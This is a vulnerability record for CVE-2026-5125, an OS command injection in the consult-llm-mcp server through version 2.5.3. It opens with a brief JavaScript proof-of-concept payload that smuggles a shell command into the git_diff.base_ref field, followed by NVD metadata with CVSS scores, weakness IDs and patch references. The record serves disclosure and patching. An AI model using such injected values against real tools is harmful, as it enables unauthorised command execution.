CVE-2026-5125

// Conceptual PoC demonstration for CVE-2026-5125 // This demonstrates how the payload might be structured to trigger the injection const maliciousPayload = { "git_diff": { // The semicolon (;) is used to break the original git command // and inject a malicious OS command (e.g., 'touch /tmp/pwned') "base_ref": "origin/main; touch /tmp/pwned; #", "files": "src/server.ts" } }; // Sending this payload to the vulnerable endpoint causes the server to execute: // git diff origin/main; touch /tmp/pwned; # src/server.ts // Result: A file named 'pwned' is created on the server's filesystem. console.log("Payload structure:", JSON.stringify(maliciousPayload, null, 2));

{"cve": {"id": "CVE-2026-5125", "sourceIdentifier": "[email protected]", "published": "2026-03-30T18:16:20.220", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in raine consult-llm-mcp up to 2.5.3. Affected by this vulnerability is the function child_process.execSync of the file src/server.ts. The manipulation of the argument git_diff.base_ref/git_diff.files results in os command injection. The attack is only possible with local access. The exploit is now public and may be used. Upgrading to version 2.5.4 addresses this issue. The patch is identified as 4abf297b34e5e8a9cb364b35f52c5f0ca1d599d3. Upgrading the affected component is recommended."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en raine consult-llm-mcp hasta 2.5.3. Afectada por esta vulnerabilidad es la función child_process.execSync del archivo src/server.ts. La manipulación del argumento git_diff.base_ref/git_diff.files resulta en inyección de comandos del sistema operativo. El ataque solo es posible con acceso local. El exploit ahora es público y puede ser utilizado. La actualización a la versión 2.5.4 soluciona este problema. El parche se identifica como 4abf297b34e5e8a9cb364b35f52c5f0ca1d599d3. Se recomienda actualizar el componente afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/raine/consult-llm-mcp/", "source": "[email protected]"}, {"url": "https://github.com/raine/consult-llm-mcp/commit/4abf297b34e5e8a9cb364b35f52c5f0ca1d599d3", "source": "[email protected]"}, {"url": "https://github.com/raine/consult-llm-mcp/issues/6", "source": "[email protected]"}, {"url": "https://github.com/raine/consult-llm-mcp/releases/tag/v2.5.4", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25821105/consult-llm-mcp_bug.pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780154", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354157", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354157/cti", "source": "[email protected]"}]}}